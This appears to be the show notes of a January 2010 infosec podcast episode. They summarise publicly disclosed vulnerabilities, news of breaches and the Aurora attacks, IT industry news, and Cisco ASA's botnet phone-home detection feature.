News item 8: http://globalist.org.ua/eng/144708-forbes%E2%80%99-top-10-most-advantageous-and-disadvantageous-professions-in-the-usa#more-708

Forbes magazine has defined the TOP-10 the most advantageous and disadvantageous professions for the Americans in 2010. This forecast has been formed by using researches of the recruitment site Career Cast. The authors based on wishing salary, labor market demand, the comfort of working place and level of stress.

On the top of the list is actuary, the specialist occupied with counting damages and compensations for the insurance and social companies. It is very actually during crisis time. Such specialist is guaranteed to have more than $85 000 per year with minimal stress.

The same salary is guaranteed also for the software engineer, including high perspective of employment. It is undoubtedly the second position.

News item 9:http://www.computerweekly.com/Articles/2010/01/14/239966/A-fifth-of-IT-to-disappear-by-2012.htm
Gartner has painted a bleak future for corporate IT in its latest predictions. The analyst company expects that by 2012, 20% of businesses will own no IT assets.   Gartner predicted that trends in virtualization, cloud-enabled services, and employees running personal desktops and notebook systems on corporate networks, would lower the amount of IT hardware businesses own.

If the ownership of hardware shifts to third parties, Gartner expected there would be major shifts throughout every facet of the IT hardware industry. This could mean that enterprise IT budgets would either be shrunk or reallocated to more-strategic projects and enterprise IT staff would either be reduced or reskilled to meet new requirements.

News item 10: http://www.technewsworld.com/story/69130.html
Google is reportedly looking into the possibility that one or more staff members at its office in China helped enable the attack on its infrastructure in mid-December.

After the attack was discovered, some Google China employees were denied access to internal networks, while others were put on leave, and still others were sent off to offices elsewhere in the Internet search giant’s Asia-Pacific operations, according to a Reuters report.

News item 11: http://seclists.org/fulldisclosure/2010/Jan/341

Episode 48 – More Cowbell

Play

InfoSec Podcast Episode 48 for January 18, 2010. This podcast is our contribution back to the community where we will discuss the vulnerabilities of interest, information security related news hopefully providing you a few laughs and a little knowledge.

Sponsors: This podcast is sponsored in part by Webspeedway, your Virtual IT Department.  When your systems are down, as a small and medium-sized businesses the resulting downtime can have a devastating impact.

Webspeedway specializes in providing proactive solutions to mitigate the risks of downtime, data loss, e-mail viruses and the many other threats to your business systems. Webspeedway provides the services of a Fortune 500 IT department, including 24 x 7 monitoring and on-site support, all at a fraction of the cost of even one employee.

Goto www.webspeedway.com today to learn about their cost-effective IT management solutions for your business.

Announcements:
Community SANS Atlanta 2010 Spring Schedule has been posted.

SEC-502: Perimeter Protection In-Depth    2/22/10 to 2/27/10
AUD-507: Auditing Networks, Perimeters, and Systems    3/15/10 to 3/20/10
MGT-512: SANS Security Leadership Essentials For Managers with Knowledge Compression    4/15/10 to 4/21/10
SEC-566: 20 Critical Security Controls – In Depth    5/17/10 to 5/21/10

Go online to register by going to the SANS website or call (301) 654-SANS(7267).

SANS 2010 Orlando, Fl. March 6 – 15, 2010 (http://www.sans.org/sans-2010/)

Vulnerabilities of Interest:

  1. Apple iTunes and QuickTime are subject to a buffer-overflow vulnerability because the applications fail to bounds-check user-supplied data before copying it into an insufficiently sized buffer. An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.  This issue affects iTunes 8.0.2.20 through 9.0.1.8 and QuickTime 7.3.4 through QuickTime X. Additional versions or applications that rely on the QuickTime library may also be affected.  PoCs are available.
  2. Google SketchUp is subject to a remote memory corruption vulnerability because the application fails to perform adequate boundary checks on user-supplied input. Attackers may exploit this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. Google SketchUp 7.0.10247, 7.1.4871, and 7.1.6087 are vulnerable; other versions may also be affected. PoCs are available.
  3. MySQL is subject to a local privilege-escalation vulnerability. Local attackers can exploit this issue to gain elevated privileges on the affected computer. Versions prior to MySQL 5.1.41 are vulnerable. MySQL is subject to multiple remote denial-of-service vulnerabilities because it fails to handle certain SQL expressions. An attacker can exploit these issues to crash the application, denying access to legitimate users.  Versions prior to MySQL 5.0.88 and 5.1.41 are vulnerable. Example queries are available.
  4. Internet Explorer is subject to a remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the browser. Successful exploits will compromise the application and possibly the computer. Failed attacks will cause denial-of-service conditions. This issue is being actively exploited in the wild in targeted attacks. A Metasploit exploit module is available.
  5. Ots Labs OtsTurntables is subject to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input. Attackers may be able to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions. OtsTurntables 1.00.027 and 1.00.047 are vulnerable; other versions may also be affected. Exploits are available in the wild.
  6. Microsoft Windows is subject to a remote code-execution vulnerability that affects the Embedded OpenType font engine. An attacker can exploit this issue to execute arbitrary code in the context of the currently logged-in user. Successful exploits may aid in the compromise of affected computers. Failed attempts may trigger a denial-of-service condition. A commercial proof of concept is available through VUPEN Security – Exploit and PoCs Service. This proof of concept is not otherwise publicly available or known to be circulating in the wild.
  7. Rockwell Automation is addressing these potential security issues. The affected software packages are 1761-Lxxxxx, 1762-Lxxxxx, 1763-Lxxxxx, 1764-Lxxxxx, and 1766-Lxxxxx. The following are recommended mitigation strategies  Restrict physical and electronic (network) access to the MicroLogix product allowing only authorized users as well as changing the product’s password periodically and frequently and do not reuse old passwords.


News Items of Interest:

News item 1: http://www.darkreading.com/vulnerability_management/security/privacy/showArticle.jhtml?articleID=222301034&cid=RSSfeed

Lincoln National Corp. (LNC) last week disclosed a security vulnerability in its portfolio information system that could have compromised the account data of approximately 1.2 million customers.

In a disclosure letter (PDF) sent to the attorney general of New Hampshire Jan. 4, attorneys for the financial services firm revealed that a breach of the Lincoln portfolio information system had been reported to the Financial Industry Regulatory Authority (FINRA) by an unidentified source last August. The company was planning to issue notification to the affected customers on Jan. 6, the letter says.

News item 2: http://www.v3.co.uk/v3/news/2256195/sap-backs-increased-support

SAP has announced that it is changing its plans to shift all customers to a single service contract and has unveiled a tiered system that reduces customer costs.The company provoked a storm when it decided to shift all customers onto its pricey Enterprise Support package, so much so that last month it put the plans on hold until a review could be conducted. The new scheme announced today will create a Standard Support package priced at 18 per cent of the software licence base, compared to 22 per cent for the Enterprise package. The vendor is also to cancel proposed price increases for this year.

News item 3: http://www.fbi.gov/pressrel/pressrel10/earthquake011310.htm
The FBI today reminds Internet users who receive appeals to donate money in the aftermath of Tuesday’s earthquake in Haiti to apply a critical eye and do their due diligence before responding to those requests. Read the guidelines.

News item 4: http://news.techworld.com/security/3210307/cisco-asa-doesnt-support-internet-explorer-8/?olo=rss

It may be March before Cisco’s ASA security appliances support the latest version of Microsoft’s web browser, limiting what applications businesses can access over their SSL VPN connections. Incompatibility with Microsoft’s Internet Explorer 8 means one of the ASA’s SSL VPN options won’t work until then, leaving a second option that only supports applications with web interfaces or those that can be readily made web compliant.

News item 5: Here is a list of FBI or private designations for wide spread Chinese attacks on US corporations.

Moonlight Maze – 1999

Titan Rain – 2003 – 2005

GhostNet – March 2009

Operation “Aurora” – December 2009


News item 6: http://www.washingtonpost.com/wp-dyn/content/article/2010/01/13/AR2010011300359.html

Juniper Networks and Symantec said Thursday that they were investigating a widespread cyber-espionage incident that has hit dozens of technology companies, including Google and Adobe.

Sources familiar with the situation say that 34 companies, most of them large Fortune 500 names, were hit by a sophisticated cyber-attack, first uncovered by Google last month. The attackers used a previously unknown “zero-day” attack on Internet Explorer, and possibly other techniques, to break into company networks and steal sensitive information.

The Washington Post reports that Yahoo, Dow Chemical and Northrop Grumman were also attacked. Juniper and Symantec both acknowledged that they were investigating incidents, but stopped short of saying they had been hacked or of providing any details.
Technical Segment:

http://www.cisco.com/en/US/solutions/collateral/ns340/ns394/ns171/ns441/networking_solutions_whitepaper0900aecd8072a537.html

Are there Botnet controlled hosts on your network? Are your hosts infected with malware or spyware that is trying to “phone-home”? How would you know? One way to find out is to employ Cisco ASA’s new Layer 4 Traffic Monitoring (L4TM) feature. L4TM detects infected clients by tracking rogue “phone-home” traffic.
The Cisco ASA Layer 4 Traffic Monitor feature is designed to detect command and control and data upload traffic from bots, malware, and spyware flowing through the ASA back to their “HQ”. To make this detection possible using a ASA, Cisco leveraged technology already present in its Ironport Web Security Appliance (WSA) product. Let’s look at how Botnet infection typically happens and how Cisco ASA’s new feature can help detect it.

Botnet Infection Process:
1) Client somehow gets infected with malware, spyware or other Botnet like exploit. By an large these infections happen via websites or email.
2) Infected clients then communicate with a command and control site(s) on the Internet.
3) Depending on the type of exploit it will then launch some type of attack. Common examples are Denial of Service Attack, Spam relaying, Adware infection, Identity theft, keyboard logging, data theft, click fraud, upload of confidential data, reconnaissance, an many others. The commonality is that all of these will need to talk back to their “mothership” in some manner to be worth anything to the hacker.

Layer 4 Traffic Monitor Botnet detection process:
1) Cisco ASA is configured to retrieve and install the Cisco Botnet database from Ironport.com. The ASA will then dynamically check every 60 minutes for updates to the Botnet database.
2) ASA L4TM feature compares the destination addresses flowing through its interfaces with those in its Botnet database. It is looking for matches which would indicate the destination IP is malicious.
3) When a match is encountered an alert will be sent to ASDM and syslog with the details of the source IP and malicious destination IP.